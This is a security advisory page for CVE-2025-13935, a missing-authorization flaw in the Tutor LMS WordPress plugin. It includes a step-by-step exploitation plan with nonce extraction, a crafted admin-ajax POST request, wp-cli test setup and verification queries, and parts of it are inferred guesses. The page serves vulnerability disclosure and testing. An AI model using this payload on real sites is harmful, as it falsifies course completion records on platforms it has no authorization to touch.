Tutor LMS – eLearning and online course solution <= 3.9.3 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Course Completion
Description
The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to unauthorized course completion in all versions up to, and including, 3.9.2. This is due to missing enrollment verification in the 'mark_course_complete' function. This makes it possible for authenticated attackers, with subscriber level access and above, to mark any course as completed.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-13935 Tutor LMS Arbitrary Course Completion ## 1. Vulnerability Summary The **Tutor LMS** plugin (versions <= 3.9.2) contains a missing authorization vulnerability within its course completion logic. Specifically, the function `mark_course_complete` (likely lo…
Show full research plan
Exploitation Research Plan: CVE-2025-13935 Tutor LMS Arbitrary Course Completion
1. Vulnerability Summary
The Tutor LMS plugin (versions <= 3.9.2) contains a missing authorization vulnerability within its course completion logic. Specifically, the function mark_course_complete (likely located in classes/Course.php or an AJAX handler class) fails to verify if the requesting user is actually enrolled in the course they are attempting to mark as finished. Because this function is exposed via an AJAX action registered for authenticated users, any subscriber can trigger the "complete" status for any course on the platform, bypassing curriculum requirements and prerequisites.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
tutor_mark_course_complete(inferred from Tutor LMS naming conventions) - HTTP Method:
POST - Parameters:
action:tutor_mark_course_completecourse_id: The ID of the target course to complete._wpnonce: A valid security nonce for the Tutor AJAX actions.
- Authentication: Required (Subscriber level or higher).
- Preconditions: At least one published course must exist. The attacker does not need to be enrolled in the course.
3. Code Flow
- Entry Point: The user sends a POST request to
admin-ajax.phpwith the actiontutor_mark_course_complete. - Hook Registration: The plugin registers the action via
add_action( 'wp_ajax_tutor_mark_course_complete', ... ). - Nonce Verification: The handler calls
check_ajax_referer()orwp_verify_nonce()using a nonce (typically named_tutor_nonceor similar). - The Vulnerable Sink: The
mark_course_completefunction is called. - Logic Gap: The function retrieves the
course_idfrom$_POST. It checks if the user is logged in, but it omits a check liketutor_utils()->is_enrolled($course_id, $user_id). - Execution: The function proceeds to record the course as completed for the current user ID in the database (typically in the
{prefix}tutor_completed_coursetable or via user meta).
4. Nonce Acquisition Strategy
Tutor LMS localizes its security nonces into a JavaScript object globally available on pages where Tutor components are active (like the Course Archive, Single Course page, or Student Dashboard).
- Identify Script Localization: Tutor LMS typically uses
wp_localize_scriptto output a configuration object namedtutor_get_conf. - Setup Page: Create or navigate to a page containing the Tutor Dashboard shortcode or a Course page.
- Extraction:
- Page:
[tutor_dashboard] - JavaScript Variable:
window.tutor_get_conf - Nonce Key:
nonce
- Page:
- Action:
- Use
wp post createto ensure a page exists with[tutor_dashboard]. - Log in as a Subscriber.
- Use
browser_navigateto that page. - Use
browser_eval("window.tutor_get_conf?.nonce")to retrieve the token.
- Use
5. Exploitation Strategy
- Target Identification: Identify a Course ID (
target_course_id) that the subscriber is NOT enrolled in. - Nonce Retrieval: Authenticate as the subscriber and extract the
noncefrom the dashboard page as described above. - Craft Request:
POST /wp-admin/admin-ajax.php Content-Type: application/x-www-form-urlencoded action=tutor_mark_course_complete&course_id=[target_course_id]&_wpnonce=[extracted_nonce] - Execution: Use the
http_requesttool to send the payload.
6. Test Data Setup
- Course Creation:
wp post create --post_type=courses --post_title="Premium Course" --post_status=publish # Note the ID returned (e.g., 101) - Attacker User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Nonce Page:
wp post create --post_type=page --post_title="Dashboard" --post_content='[tutor_dashboard]' --post_status=publish
7. Expected Results
- HTTP Response: A JSON response, typically
{"success": true}or a redirect/message indicating completion. - Database Change: A new record appearing in the
wp_tutor_completed_coursetable (or equivalent) linking theattackeruser ID to thetarget_course_id.
8. Verification Steps
- Check Completion Table:
wp db query "SELECT * FROM wp_tutor_completed_course WHERE completed_hash_user_id = (SELECT ID FROM wp_users WHERE user_login='attacker')" - Check via Tutor Utility (eval):
Expected Output:wp eval "echo tutor_utils()->is_course_completed(101, get_user_by('login', 'attacker')->ID) ? 'COMPLETED' : 'NOT_COMPLETED';"COMPLETED
9. Alternative Approaches
- Missing Nonce Check: If the
_wpnonceparameter is not strictly verified or if the actiontutor_mark_course_completeaccepts a generic nonce, try using the REST API nonce (wp_rest) if available. - Different Action Name: If
tutor_mark_course_completefails, search the plugin source for "mark_course_complete" to find the exact AJAX hook name (e.g.,tutor_course_complete_ajax). - REST API: Check if
GET /wp-json/tutor/v1/course/[id]/completeexists and lacks permission callbacks.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.